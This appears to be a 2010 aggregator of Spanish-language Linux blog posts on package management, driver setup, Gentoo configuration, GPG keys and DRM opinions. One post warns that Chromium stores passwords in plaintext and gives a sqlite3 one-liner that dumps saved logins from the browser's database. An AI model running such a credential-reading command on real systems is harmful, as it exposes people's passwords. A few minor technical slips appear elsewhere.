Jul 31, 2010

Jose Castaneda

Jose Castaneda
TecnoAmigo Blog feed

Aumentar el tamaño del cache de APT (Please increase the size of APT::Cache-Limit)

Para solucionar este inconveniente es simple, en consola y como root: nano /etc/apt/apt.conf.d/70debconf Una vez dentro agregamos la linea de nuestro nuevo limite de memoria, yo le daré 30m ustedes pueden aumentarlo si quieren: APT::Cache-Limit “300000000″; Finalmente guardamos con control+o y salimos con control+z, recuerden que para limpiar (Borrar sus paquetes descargados) su cache de paquetes siempre [...]


Jul 28, 2010

Jose Castaneda

Jose Castaneda
TecnoAmigo Blog feed

Instalar MySQL en Debian/Ubuntu

Este ciclo me toco hacer un proyecto para la U donde se requeria tener corriendo un servidor MySQL en Linux, eso es muy sencillo como root o usando sudo: su TuPasswordRoot Primero instalamos lo necesario el servidor mas el cliente de MySQL apt-get install mysql-server mysql-client Asignamos el password de root para el servidor MySQL [...]


Jose Castaneda

Jose Castaneda
TecnoAmigo Blog feed

Instalar Python 2.6.4 en Debian Lenny

Abrimos una consola o terminal para descargar python: wget http://python.org/ftp/python/2.6.4/Python-2.6.4.tgz tar -xvzf Python-2.6.4.tgz cd Python-2.6.4 ./configure –with-threads –enable-shared Ahora nos logeamos como root: su TuPasW0RD Siempre en consola y como root: make make install Para finalizar si obtienen un error de falta de la libreria libpython la solucion es crear los enlazes simbolicos de nuestro [...]


Compiz en Debian Lenny

Bueno, hoy andaba con ganas de ver mi desktop con efectos compiz. busque en internet y encontre este wiki con los pasos a seguir. Yo no cambie settings en el xorg.conf pero talvez por eso el refreshing lo siento algo buggy. Este link al post. Vivos :D

Limitar el ancho de banda de apt-get

Ya que en la oficina donde estoy trabaJando, el ancho de banda es muy limitado (quizas todos están viendo el partido en flash), decidí investigar como limitar el ancho de banda de nuestro querido apt-get. Encontré el este post entre otros. es así: sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade Omitan el sudo si no lo ...

Modem Alcatel Open Touch X060A USB Modem Tigo Honduras Debian Lenny

El fin de semana adquirí un Modem Alcatel distribuido por Tigo, pregunté en el canal y me dieron una pagina de una lista de la UES. http://linux.ues.edu.sv/pipermail/gul/2009-October/003494.html y tambien usé http://www.draisberghof.de/usb_modeswitch/ que es donde estaba el driver más nuevo. Luego seguí estos pasos msamour@kodiak:~/opt/modem$ wget http://www.draisberghof.de/usb_modeswitch/usb-modeswitch-1.1.0.tar.bz2 --2010-01-25 14:27:29-- http://www.draisberghof.de/usb_modeswitch/usb-modeswitch-1.1.0.tar.bz2 Resolving www.draisberghof.de... 194.0.247.207 Connecting to www.draisberghof.de|194.0.247.207|:80... connected. HTTP request ...

Jul 22, 2010

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Estado de la bateria desde la linea de comando

Se escribe el siguiente comando:


[drakedalfa@laptop ~]$ acpi -bt Battery 1: discharging, 28%, remaining
Thermal 1: ok, 46.0 degrees C
Thermal 2: ok, 49.0 degrees C
 

Jul 21, 2010

Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

Administración de impresores en linux (Debian mi caso)

Hace un par de días postie algo sobre la configuración de una impresora en linux
y muchos amigos windowseros me dijeron que los sistemas unix/linux es un dolor
de cabeza administrar algo como printers.
Así que por ahí les dejo un par de capturas de mi pantalla administrando un impresor
en linux con CUPS, que por cierto es superior a win2 hasta en la paguina de prueba....XD


Jul 17, 2010

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

EasyBCD 2.0

EasyBCD 2.0 Released, Lets You Boot Into ISO, VHD, and More: "The non-profit NeoSmart Technologies has just released EasyBCD 2.0. The new version of the free bootloader utility supports ext4fs, GRUB2, Windows 7, booting from ISO images, Virtual Harddisk VHDs, network devices, and USBs. It also has tools to create bootable external media and can be used to set up 1-click dual-boots with the most popular operating sytems. Screenshots. And the icing on the cake is that the installer is 1337 KB, and they claim that was merely coincidence."

http://neosmart.net/blog/2010/welcome-to-easybcd-2/

http://neosmart.net/gallery/album/view/neosmart/EasyBCD/EasyBCD+2.0/
Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

OpenSUSE 11.3 Released: Screenshots and Features

OpenSUSE 11.3 Released: Screenshots and Features: "The last time OpenSUSE users enjoyed a stable release was in November 2009 making today's release of OpenSUSE 11.3 a pretty big deal. This is the first release in the new eight month release schedule for OpenSUSE. Here are some screenshots of the OpenSUSE 11.3 install, KDE and GNOME desktops, and details about some of the popular new features in this release."
http://easylinuxcds.com/blog/?p=3789

Jul 12, 2010

Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

Instalar Canon IP2700 en Debian Lenny.

El día de hoy compre un printer canon ip2700 y como soy usuario Debian me di la tarea de hacerlo andar
en mi querida distro.

primero que nada nos bajamos los drivers del siguiente link.

con el archivo descargado, lo extraemos y buscamos dentro de la carpeta extraída una carpeta llamada
packages e instalamos los dos archivos que ahí se encuentran los dos son .deb.

instalacion desde la consola.

# dpkg -i cnijfilter-common_3.30-1_i386.deb
# dpkg -i cnijfilter-ip2700series_3.30-1_i386.deb

conectamos la impresora y la encendemos y esta lista para imprimir, si ya la habías encendido antes
y el sistema te la reconoció tendrás que eliminarla y apagar el printer y volverlo a encender.

para eliminar el printer sistema--Administración--imprimiendo. y ahí se elimina

para probar el printer desde Cups abrimos nuestro navegador preferido y en el URL escribimos
localhost:631 click en impresoras y después click en imprimir pagina de prueba. Entones tendremos
una verdadera pagina de prueba de impresión, no como la pobre pagina que muestra win2.

espero que a alguien le sirva...

Gustavo Burgos (gnburgos)


Jul 09, 2010

William Díaz

William Díaz
LEPROSYS feed

ArchLinux vs (Fun|Gen)too

Tenía un poco de ganas de hacer esta entrada hace ratos, comparando algunas de las características de cada distribución.
Debo aclarar antes que la distribución que utilizo (Funtoo) es muy parecida a Gentoo por lo que en rendimiento y muchos aspectos son casi idénticas.

Sin dar tantos rodeos al asunto, le hablare un poco de mi experiencia en Arch. Utilice Arch un poco más de un año donde mantuve varios paquetes AUR contribuí en el foro, realice varias instalaciones, etc. actualmente solo mi hermano utilizar Arch por lo que es cuando me toca actualizar su computadora cuando tengo que volver a tocar este sistema.

Con Respecto a Funtoo, lo instale desde principios de año en la computadora de escritorio y posteriormente en mi laptop, es el único sistema que utilizo, pues no tengo otro instalado.

Algunas de las diferencias mas sobresalientes:

1. Instalación.
Arch ofrece AIF (Arch Installation Framework) es una gran ayuda para usuarios con poca experiencia en la linea de comandos tratar con este espacio de trabajo basado en ncurses y muy parecido a los que ofrece FreeBSD. Donde guía al usuario paso a paso en la instalación de aplicaciones como en la de configuración.

Gentoo cuenta con dos métodos uno el liveCD en el cual no tengo experiencia y el otro es la forma tradicional, que es prácticamente crear un sistema desde cero por medio de los stage, se necesita un nivel mas alto de conocimientos o seguir al pie de la letra los pasos, como también conocimiento de compilación del kernel, este ultimo resalta como el problema más grandes para los usuarios nuevos.

Como ya mencione es más sencillo, fácil y rápido instalar Arch gracias a AIF, ya que si comparamos el método tradicional de Gentoo les llevara algunas horas dependiendo de su maquina, y el nivel de dificultad es más alto.

2. Binario vs Compilación (Paquetes)
Una de las mas grandes diferencias, Gentoo es una distribución donde hay que compilar las aplicaciones, pueden añadir o quitar características gracias a las USEFLAG que son las clásicas opciones de compilación de un programa, por ejemplo para utilizar pulseaudio, se necesita habilitar la USEFLAG de dicha característica llamada pulseaudio en el archivo de configuración /etc/make.conf o bien en /etc/portage/package.use, con la diferencia que si se hace en package.use se debe especificar el listado de programas que afectara, mientras que en make.conf habilitara el uso global para todas las aplicaciones.
Las USEFLAG vienen a ser una de las características más sobresalientes de este sistema basado en compilación.
El portage cuenta con una gama inmensa de paquetes, tantos como para no buscar en otra parte, el manejar los paquetes en Gentoo es sencillo.

En ArchLinux nos encontramos con varios paquetes binarios, cuenta con tres repositorios principales los cuales son: core, extra, community. Aunque en los repositorios no se cuenta con la misma cantidad aplicaciones empaquetadas como en otras distribuciones, ofrece un espacio para que cualquier persona pueda contribuir ofreciendo su versión de un paquete, creando los scripts de instalación para que luego se puedan descargar del sitio, llamado AUR (Arch Build Repository).

Ahora desde mi punto de vista encontramos con que:

  • Gentoo cuenta con mas paquetes con soporte oficial que en Arch.
  • Arch cuenta con pacman que es el manejador de paquetes, es mucho mas rápido que emerge para realizar operaciones.
  • El tiempo de instalación es obviamente grande si primero necesitamos compilar un paquete a instalar un binario.
  • En Arch es imposible hacer un downgrade si no se cuenta con el binario de la version anterior, a comparación Arch ofrece una gama de versiones para la mayoría de paquetes.
  • Bugtracker de Gentoo hace el trabajo que AUR por Arch, además de que Gentoo cuenta con varios overlays.


3. Estabilidad
Ambos sistemas son estables a pesar de que ambos son distribuciones rolling release y ofrecen paquetes en sus últimas versiones, aunque también depende de que rama de Gentoo hablamos.

Gentoo ofrece la versión estable que puede ser utilizada en servidores y cualquier usuario que le guste la estabilidad o bien la versión inestable que cuenta con la selección de los programas más nuevos.

Arch no cuenta con otra versión, aunque tiene un repositorio testing donde prueban los paquetes que pueden entrar a romper las cosas.

Gentoo cuenta con mas desarrolladores que Arch, lo que se podría llegar a traducir de una posible mejor estabilidad.
Tener un sistema compilado es mas estable que otro compilado en varias computadoras bajo diferentes librerías, etc. es cierto
Estuve viendo en algunos foros criticas hacia ambos sistemas acerca de la estabilidad de paquetes, y que al pasar del tiempo Gentoo se vuelve bugoso y lento, esto no es cierto.
Ambos sistemas tienen una estabilidad muy parecida, depende mucho del usuario como el sistema funcione.

4. La velocidad
¿Es posible que Gentoo por ser una distribución en que hay que compilar sea más rápida?
Depende de que programas, algunas programas son más rápidos si se compilan con optimización para CPU, en Arch se puede volver a compilar y empaquetar los programas es cierto, pero no es algo obligado.
Por lo que a este punto me reservo mas lo comentarios ya que necesito hacer pruebas. Pero para no dejarlos con la duda, la diferencia muchas veces no es perceptible.

5. Nivel de dificultad o curva de aprendizaje
Los dos sistemas son buenos para un usuario intermedio que tiene ganas de elevar su nivel de conocimiento, ¿por?
Ambos implican que el usuario conozca en la mayor parte el sistema en el cual se trabaja, obligan a utilizar la linea de comandos en la instalación de aplicaciones.
Necesita que sean configurados para lograr los resultados esperados.
Hay que documentarse, para no caer en errores y confusiones.

¿Cual es la diferencia?

El nivel es parecido en algunos puntos, por ejemplo:
  • Mantener un sistema actualizado o instalar un paquete no es algo difícil en ambas.
  • Instalar el sistema base es más difícil en Gentoo que en Arch como ya se menciono arriba.
  • La documentación es parecida, aunque la de Arch es muchos mas actual y grande.


Conclusión
Me parece un mito lo que Gentoo es más difícil de utilizar que Arch, como vimos la parte difícil puede llegar a ser la instalación, ambos sistemas son rápidos y estables.
Aún así me inclino mas a Gentoo por la razón de que nunca me gusto mucho AUR, tengo la percepción que Arch necesita más desarrolladores, ya que hay muchas cosas que podrían mejorar, así como también las hay en Gentoo por ejemplo los script de inicio que son super bugosos, según noticias es algo que se espera se cambiara gracias a que openrc no sera más utilizado.
La parte del kernel y dispositivos es muchos más difícil manejarlo en Gentoo porque depende del usuario por obligación. Así como también me parece que manejar los paquetes es mas sencillo en Gentoo.

Si nos hacemos la pregunta ¿que sistema me da la capacidad de un control total para el usuario? me inclino a Gentoo, por razones que ya vimos, sobre todo la de obligar al usuario a hacer las cosas.

Arch es mi distribución binaria preferida y Funtoo que es el sistema que utilizo actualmente, el sistema de compilación que mas me parece.

Jul 01, 2010

Raul Alejandro Ascencio Trejo

Raul Alejandro Ascencio Trejo
R_Ascencio feed

Cambiando el esquema de colores del vim (Archlinux)




El archivo de configuracion en archlinux se encuentra en: 
/usr/share/vim/vimfiles/archlinux.vim
Luego en ese archivo añadimos al final lo siguiente:
syntax on

colorscheme "nombre del esquema de colores"

Los esquemas de colores se encuentran en el directorio:
/usr/share/vim/vim72/colors/

Al final el archivo tendria que quedarnos parecido a:





En el la carpeta donde estan los esquemas de colores, hay unos cuantos pero de todos modos aqui dejo unas cuantos :)


C:

http://vimcolorschemetest.googlecode.com/svn/html/index-c.html

HTML:

http://vimcolorschemetest.googlecode.com/svn/html/index-html.html

Java:

http://vimcolorschemetest.googlecode.com/svn/html/index-java.html



... espero que le sea util a alguien :)

Jun 25, 2010

Victor Ostorga

Victor Ostorga
vostorga.org » linux feed

Hi Planet Gentoo!

Well, I am not exactly new in the developer world of Gentoo, to be honest I've been a developer for almost a year now.

For all who doesn't know, I started working at Gentoo  with maintainer-needed packages, but I started helping treecleaners and get so much interest in LXDE, as I use it in my netbook.

Lately, I've been working with Samba, which has been mostly cared by Patrick Lauer, and thanks to him we all have a stable samba 3.4 version. I am looking forward to bring fixes to the 3.5.x series and all your bug reports, comments, and patches are welcomed of course! :) .

Jun 19, 2010

William Díaz

William Díaz
LEPROSYS feed

march=native en las CFLAGS

Mucho tiempo me había planteado de la pregunta si utilizar native era buena idea, luego de ver varios threads en el foro de gentoo parece que si es buena idea aunque no es del todo recomendable por aquello que de alguna forma se podría perder dichos parámetros de native y tomar otros equivocados.

De todas formas existe una forma de conocer los parámetros que gcc le da a native con este comando:
gcc -march=native -E -v - </dev/null 2>&1 | sed -n 's/.* -v - //p'
Nota: los valores cambian dependiendo de la versión de gcc

Y con esto ya puede colocarlo en las banderas :) este es el mio:
CFLAGS="-march=core2 -O2 -pipe -fomit-frame-pointer -mcx16 -msahf -msse4.1 -mtune=core2 -D_FORTIFY_SOURCE=2 --param l1-cache-size=32 --param l1-cache-line-size=64 --param l2-cache-size=3072"
CXXFLAGS="${CFLAGS}"

Y pues con esto si, ya los programas estarán optimizados para su procesador y no es recomendable utilizarlos en otro PC a menos que tengan el mismo procesador.

Jun 17, 2010

David Mejia

David Mejia
DAMR.NET » linux feed

Ubuntu es Más Seguro que Windows…

Ubuntu Dell

No lo decimos nosotros, lo dice Dell

Ubuntu is Safer Than Windows

Así que vale la pena comprar una Dell con Ubuntu instalado no creen? Por mayor seguridad.

(vía Y Que jé?)

Jun 14, 2010

William Díaz

William Díaz
LEPROSYS feed

Fuentes en Gentoo

En gentoo configurar las fuentes lleva un poco más de trabajo, ahora he logrado tener las fuentes que deseaba tener realizando los siguientes pasos:

Use flags
Lo primero que hay que hacer es configurar las use flag, las siguientes banderas son las que deben de tener:

euse --enable truetype type3 cleartype corefonts

Actualizar su sistemas con las nuevas banderas:

emerge -uDNa world

Instalación
Algunas fuentes comunes que tienen que emerger son las siguientes:
app-admin/eselect-fontconfig
media-fonts/corefonts
media-fonts/dejavu
media-fonts/font-bh-ttf
media-fonts/font-bh-type1
media-fonts/freefonts
media-fonts/ttf-bitstream-vera
media-fonts/unifont
media-fonts/artwiz-aleczapka-en

Anteriormente en la Guía de gentoo se sugería instalar el grupo de paquetes llamado x11-base/xorg-x11 provee de varios paquetes útiles para la X así como también fuentes, por lo que el siguiente paso es instalarlo:
emerge x11-base/xorg-x11

Puede encontrar muchas fuentes con su descripción con el siguiente comando:
eix -cC media-fonts
(Requiere tener instalado eix)

Configuración
En esta parte lo que haremos es habilitar algunas funcionalidades de los paquetes antes instalados para proveer de la mejora en las fuentes. La siguiente configuración funciona para un monitor LCD y aplicaciones como firefox.
La imagen que le muestro abajo es mi configuración y como por ejemplo deberían de tenerla ustedes:


Para ver el listado se utiliza el comando: eselect fontconfig list
Para habilitar una opción se utiliza: eselect fontconfig enable [numero de la lista]

Ahora hay que crear un archivo para manipular las fuentes, pueden crearlo en ~/.fonts.conf sera simplemente para su usuario o tambien en /etc/fonts/local.conf para un uso global de todos los usuarios.
La configuración que funciona muy bien es la siguiente:
<fontconfig>

<match target="font">
<edit mode="assign" name="rgba">
<const>rgb</const>
</edit>
</match>

<match target="font">
<edit mode="assign" name="antialias">
<bool>true</bool>
</edit>
</match>


<match target="font">
<edit mode="assign" name="autohint">
<bool>true</bool>
</edit>
</match>

<match target="font">
<edit mode="assign" name="hinting">
<bool>true</bool>
</edit>
</match>

<match target="font">
<edit mode="assign" name="hintstyle">
<const>hintfull</const>
</edit>
</match>


<match target="font">
<test compare="more" name="weight">
<const>medium</const>
</test>
<edit mode="assign" name="autohint">
<bool>false</bool>
</edit>
</match>



<match target="font">
<edit mode="assign" name="lcdfilter">
<const>lcddefault</const>
</edit>
</match>

</fontconfig>

Aún no terminamos con la configuración hay que jugar con el orden de las fuentes instaladas en /etc/X11/xorg.conf

Pueden modificar el orden con las fuentes que mas ocupan, las de mayor prioridad estan arriba y esto afecta a como se vean sus fuentes en algunas aplicaciones.

Section "Files"
FontPath "/usr/share/fonts/misc:unscaled"
FontPath "/usr/share/fonts/Type1"
FontPath "/usr/share/fonts/TTF"
FontPath "/usr/share/fonts/OTF"
FontPath "/usr/share/fonts/corefonts"
FontPath "/usr/share/fonts/freefonts"
FontPath "/usr/share/fonts/freefont-ttf"
FontPath "/usr/share/fonts/terminus"
FontPath "/usr/share/fonts/dina"
FontPath "/usr/share/fonts/ttf-bitstream-vera"
FontPath "/usr/share/fonts/unifont"
FontPath "/usr/share/fonts/75dpi:unscaled"
FontPath "/usr/share/fonts/100dpi:unscaled"
FontPath "/usr/share/fonts/artwiz-aleczapka-en"
FontPath "/usr/share/fonts/artwiz-latin1"
FontPath "/usr/share/fonts/cyrillic"
FontPath "/usr/share/fonts/encodings"
FontPath "/usr/share/fonts/dejavu"
FontPath "/usr/share/fonts/inconsolata"
FontPath "/usr/share/fonts/liberation-fonts"
EndSection

Finamente solo falta reiniciar las X y los cambios surgirán efectos :p

Fuentes:
http://en.gentoo-wiki.com/wiki/X.Org/Fonts
http://forums.gentoo.org/viewtopic-p-6118773.html#6118773
http://www.gentoo.org/doc/en/xorg-config.xml
http://www.kev009.com/wp/2009/12/getting-beautiful-fonts-in-gentoo-linux/

Jun 06, 2010

Raul Alejandro Ascencio Trejo

Raul Alejandro Ascencio Trejo
R_Ascencio feed

"Mi archlinux desktop"


May 20, 2010

Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

Tarjeta de Audio CMI8738 en Debian Lenny

Después de un pequeño problemon que tuve con mi Desktop en el cual termino jodida mi tarjeta
de Audio que viene integrada en la motherboard. Buscando en un pequeño basurero que tengo
de cosas que uno piensa que son inutilizables encontré a la CMI8738 que es la que me saco de
aguas.
Bueno como era de esperar trabaja con alsa así que les muestro la simple configuración.

#alsaconf

Seleccionar la tarjeta a configurar.







Espero que a alguien le sirva .

Gustavo Burgos (gnburgos)










May 19, 2010

Williams Belman Orellana Portillo

Williams Belman Orellana Portillo
Williams Orellana's Blog » Linux feed

Contraseñas almacenadas en Chromium

ChromiumUna característica que usaba en firefox era la de proteger las contraseñas con una «contraseña maestra», cuando se activa esta característica firefox se encarga de encriptar todas las contraseñas almacenadas en el disco, y firefox pregunta por la contraseña maestra cuando necesita acceder a las contraseñas almacenadas. Cuando no se utiliza el navegador las contraseñas están seguras. Aun así hay herramientas para obtener la contraseña maestra de firefox por la «fuerza bruta», pero si tienes una contraseña lo suficientemente robusta no tendrías por que preocuparte :) para mas información (en ingles) mira http://kb.mozillazine.org/Master_password.

A que viene todo esto?, pues desde hace ya varios días decidí cambiar de navegador, por lo que ahora utilizo Chromium, si tu también lo utilizas habrás notado que carece de la característica  que mencionaba anteriormente de firefox, en esencia las contraseñas son almacenadas en  una base de datos de sqlite en ‘~/.config/chromium/Default/Web Data’, mostrar las contraseñas es increíblemente fácil (estoy usando Chromium 5.0.342.9~r43360-0ubuntu2 en Ubuntu 10.04 LTS)

1
 $ echo 'SELECT username_value, password_value FROM logins;' | sqlite3 ~/.config/chromium/Default/Web\ Data | grep -v '^|$'

Como puedes ver las contraseñas son almacenadas en texto plano (aunque el directorio ~/.config/chromium tiene permisos 0700). Desconosco el por que esta funcion no se ha implementado, es un bug? podría ser, pero esta claro que:

  • Google no solucionará este problema en corto plazo.
  • Se necesita una forma de protegerse.
Personalmente recomendaría a los usuarios de chromium encriptar los datos usando eCryptfs o LUKS, en ubuntu puedes:
  • Configurar un cifrado completo del disco con LUKS usando el instalador alternativo.
  • Configurar la carpeta personal encriptada (o migrar una carpeta personal usando ‘ecryptfs-migrate-home’).
  • Configurar una carpeta personal encriptada usando ‘ecryptfs-setup-private’ (si decides hacer esto, querras mover los directorios ~/.config/chromium y ~/.cache/chromium al directorio encriptado y usar enlaces simbólicos para hacer referencia a ellos)
Espero que esta información les resulte útil (o al menos estar un poco mas alerta :P )

Entradas relacionadas

May 11, 2010

Victor Ostorga

Victor Ostorga
vostorga.org » linux feed

/etc/fstab y UUID

Regularmente se especifica en el archivo fstab nombres de dispositivo como /dev/sdb1 tal como en el siguiente ejemplo:

/dev/sdb1        /media/storage        ntfs-3g       defaults        0 1

Esto no es nada nuevo para muchos, pero puede suceder la ocasión en la cual queramos que un dispositivo se monte en una ubicación especial siempre, pero el nombre del dispositivo /dev/sdb1 del ejemplo anterior podría cambiar por ejemplo si se tratara de un dispositivo USB, o de si las galaxias están alineadas o si hace luna llena.

Bueno, en este caso podemos utilizar el UUID (Universally Unique Identifier) el cual identifica a cada sistema de archivos de un disco y hace que el nombre del dispositivo sea irrelevante al momento de montarse.

Obteniendo el uuid

Un par de formas de obtenerlo:

# ls -l /dev/disk/by-uuid/
total 0
lrwxrwxrwx 1 root root 10 May  5 02:38 07D4-0918 -> ../../sda1
lrwxrwxrwx 1 root root 10 May  5 02:38 1501c1df-798c-4359-a100-37c97f426269 -> ../../sdb2
lrwxrwxrwx 1 root root 10 May  5 02:38 1cd538b0-c4da-4280-a485-c0324066832f -> ../../sda5
lrwxrwxrwx 1 root root 10 May  5 02:38 25b9f76e-0d99-4c6d-b441-4a4a879ff049 -> ../../sda3
lrwxrwxrwx 1 root root 10 May  5 02:38 9E88682C886804DD -> ../../sdb1
lrwxrwxrwx 1 root root 10 May  5 02:38 D8701AD2701AB6EA -> ../../sda2

# blkid
/dev/sda1: SEC_TYPE="msdos" LABEL="DellUtility" UUID="07D4-0918" TYPE="vfat"
/dev/sda2: UUID="D8701AD2701AB6EA" LABEL="winxp" TYPE="ntfs"
/dev/sda3: UUID="25b9f76e-0d99-4c6d-b441-4a4a879ff049" TYPE="ext3"
/dev/sda5: UUID="1cd538b0-c4da-4280-a485-c0324066832f" TYPE="swap"
/dev/sdb1: UUID="9E88682C886804DD" LABEL="storage" TYPE="ntfs"
/dev/sdb2: UUID="1501c1df-798c-4359-a100-37c97f426269" TYPE="ext3

Ahora con el uuid en mano, procedemos a modificar nuestro fstab:

UUID=9E88682C886804DD        /media/storage       ntfs-3g        defaults       0 1

Y listo, no dependemos del nombre del dispositivo para montarlo!

Nota: El uso del UUID NO lo inventó Ubuntu

May 03, 2010

No le compro nada a las discográficas a menos que: (post sobre dia sin DRM)

Bueno vengo no en el plan de recordar progenitoras en este post como muchos hacen al hablar del DRM (Digital Right Management), sino que vere el problema estilo comunidad (proponer ademas de criticar).

Pregunta importante: por que la gente piratea?

Pues puede ser por muchas razones, la predominante en este pais es la falta de recursos para gastar en medios “originales” aqui el salario minimo apenas sobrepasa los $100 y un solo cd valiendo entre $10 y $20 esta llevandose mas del 10% del sueldo de un trabajador promedio, las peliculas casi lo mismo y para colmo son compras ciegas no se sabe la calidad de la compra hasta que se pone en un reproductor (y el comprador tiene la tentacion de lanzar el cd por la ventana como si fuera de win2 vista) la salvacion aqui es que es legal descargar y quemar música siempre y cuando no se venda (derecho de copia privada).

Con los juegos la razon es ademas de economica la cultura salvadoreña de compartir toda obra digital que cae en nuestras manos y por la misma gana de la gente de hacer negocio con cualquier medio digital (aplica a todo).

Como puede verse los modelos de negocio antiguos aqui no funcionan, y lo peor que se puede hacer es bajar la calidad de los contenidos vendidos poniendoles DRM, llenando de anuncios desmoralizantes sobre la “piratería” que la compara con robos de autos y carteras o advertencias que son casi amenazas con logos del FBI.

Cuando por paranoia o por pensar que todos los usuarios que no les pagamos por sus contenidos somos unos criminales BAJAN DRASTICAMENTE LA CALIDAD DE SUS PRODUCTOS cuando les ponen DRM, ejemplo:

DVD pirata vs Original (eng)
Audiolibro con DRM vs audiolibro descagado de p2p

Por eso aqui van las

Propuestas libres de tuxwarrior

1) Para los juegos: Regalen promocionales o coleccionables con los juegos originales y den gratis la membresía al que los compro si es un juego online, diganme quien no comprara un juego de Super Mario que traiga un muñeco del personaje  o un tomb raider con un poster en alta resolucion de Lara Croft (‘¬’), asi los que consigan copias “no autorizadas” (piratear es robar barcos) solo tendran un juego.

2) Para las peliculas: Quiten esa cantidad enorme de trailers y anuncios espameros, en el cine estan bien, dan tiempo de esperar a tu novia que fue al baño antes de empezar, pero en la casa dan ganas de pegarle una patada al televisor, y los anuncios del FBI lo unico que hacen es pre-criminalizar al que si pago por la pelicula (y simplemente dejen titulos para descarga gratis que incluyan los anuncios y todo lo demas en calidad estandar si quieren).

3) Música: poner DRM en la música es la peor estupides que pueden hacer con un cliente que les pago, ahora la misma persona puede tener 3 o 4 dispositivos donde querra tener una copia de su canción o album (ipod o mp3 player, pc,car audio, celular) y no tolerara comprar una pista o un cd que venga con anti copia y que no le deje ripear el cd, o copiar la canción de un dispositivo a otro o quemarla, hay estudios que muestran que la musica sin DRM se vende mucho mejor que la con DRM, y como segunda propuesta los discos deberían bajar su precio a algo mas manejable por el cliente de pais no desarrollado (con $3 por un original creo que es manejable) ademas de quitar las restricciones de region para la venta de música en línea (por que demonios no podemos comprar música que salio en holanda o en japon por ejemplo, que nos quieren condenar a oir solo regueton acaso???).

4) Ebooks: La información debe ser difundida, la gente tiene derecho a conocer mas, y hacer que solo se pueda estudiar sobre un tema pagando mucho dinero se crea una enorme discriminacion, los ebooks son solo una forma mas de presentar un escrito, ponerles DRM es un golpe bajo a la persona que lo compro y a la que lo escribio, una forma de distribuirlos sería: venderlo a un precio razon able si no queda de otra, dar gratis el ebook si se tiene el impreso, y soltar algunas obras para libre descarga despues de cierto tiempo. tanto les cuesta eso?

Para terminar declaro mi rotundo rechazo a la implementación de DRM en todos los tipos de medio digital.


Apr 23, 2010

Victor Ostorga

Victor Ostorga
vostorga.org » linux feed

Problema con touchscreen de Openmoko Freerunner bajo Debian

He tenido la oportunidad de jugar un poco con un Openmoko (prestado), el cual tiene instalado Debian Sid; el caso es que al actualizarlo el touchscreen dejó de funcionar correctamente.

Lo curioso es que el calibrador funcionaba como se debe:

apt-get install libts-bin
TSLIB_CALIBFILE=/etc/pointercal TSLIB_TSDEVICE=/dev/input/event1 TSLIB_CONSOLEDEVICE=none ts_calibrate

Probando un parche propuesto al archivo de configuración /etc/X11/xorg.conf en el bug 517307 de Debian, funcionó correctamente.

-	Option		"Device"		"/dev/input/event1"
+	Option		"TslibDevice"		"/dev/input/event1"

La recomendación es siempre hacer un backup de la memoria antes de actualizar para evitar dolores de cabeza :D

Apr 04, 2010

GPG Key Transition

Por razones de seguridad y aprovechando la reciente fiesta de firmado de llaves en el mini DebConf 2010 en Panama, decidi crear una nueva llave, por lo que estoy realizando la transicion respectiva.

La antigua llave continuara valida por un tiempo y preferiria correspondencia a la nueva llave.

Este mensaje tambien se encuentra disponible y firmado por ambas llaves para certificar la transicion.

La vieja llave era:

pub   1024D/1F8C587D 2006-05-28
Huella de clave = B93A 3A23 770F 0F11 BC25  05CF 3EB2 2DDB 1F8C 587D

Y la nueva llave es:

pub   2048R/28DB5743 2010-03-20 [caduca: 2011-03-20]
Huella de clave = FC2A 2005 A01D 9280 E61E  3B9F 616F 2A04 28DB 5743

Para obtener la nueva llave:

wget -q -O- http://gente.debian.org.sv/~emonge/emonge.gpg | gpg –import -

O desde un servidor publico:

gpg –keyserver pgp.mit.edu –recv-key 28DB5743

Si tu ya conoces mi antigua llave, puedes verificar que la nueva llave esta firmada por la antigua:

gpg –check-sigs 28DB5743

Si eres un tanto _paranoico_, puedes verificar nuevamente la huella digital:

gpg –fingerprint 28DB5743

Si todos los argumentos son de tu completa satisfaccion te agradeceria firmaras mi nueva llave:

gpg –sign-key 28DB5743

Y finalmente apreciaria mucho que me enviaras un mail con las nuevas firmas o las publicaras directamente en un servidor de llaves:

gpg –keyserver pgp.mit.edu –send-key 28DB5743

Gracias por el tiempo y las disculpas por los inconvenientes.

Apr 02, 2010

Debian codenames

De todos es sabido, que Debian utiliza nombres de personajes de la película Toy Story para los «codenames» de sus distribuciones, y pues es lógico preguntarnos que pasará cuando estos nombres se acaben. Seguramente algo sucederá, quiza en un futuro, los nombres serán generados por algoritmos aleatorios usando como diccionario los nombres de los paquetes o cualquier otra cosa, pero mientras tanto quiero imaginarme de cuanto tiempo disponemos para leer los nombres de la pelicula en las distribuciones de Debian.

Bueno,lo primero es investigar la cantidad de nombres de personajes de las películas incluyendo juguetes y personas.

Este articulo de la Wikipedia, me permite contabilizar al menos 50 personajes, de los cuales 12 ya fueron utilizados o estan siendo utilizados por alguna distribución. Por lo que se disponen de 38 nombres aun hasta Toy Story 2. Pero considerando el próximo lanzamiento de la tercera parte de la película, se aumentan en 12 los nuevos juguetes en escena segun el sitio oficial de Disney

Asumiendo que Debian utilizará un nombre por año, para el 2061 nuestros nietos estarán utilizando algo como Debian «Chunk», Debian «Sparks» o Debian «Twitch»

Mar 29, 2010

Mini-DebConf Panama, despues de un rato

De hecho muy tarde escribo sobre Mini-DebConf Panama.

Es realmente gratificante reunirse con debianeros de habla hispana para compartir ideas, compartir conocimiento y definir los proximos pasos como comunidad hispano-parlante. Han surgido muchas ideas, inquietudes y retos. Bien por Latinoamerica, bien por Debian.

Foto, cortesia de Luis Uribe

Mar 27, 2010

Williams Belman Orellana Portillo

Williams Belman Orellana Portillo
Williams Orellana's Blog » Linux feed

Bill Gates se cambió a Ubuntu??

Bill Gates se cambió a Ubuntu

Bill Gates se cambio a Ubuntu??

No cabe duda que de todas las imágenes que circulan por la red para promocionar Linux (o una distro como es este caso), esta me ha parecido de lo mas graciosa :D . Juzguen ustedes.

Saludos!!

Entradas relacionadas

Mar 16, 2010

Williams Belman Orellana Portillo

Williams Belman Orellana Portillo
Williams Orellana's Blog » Linux feed

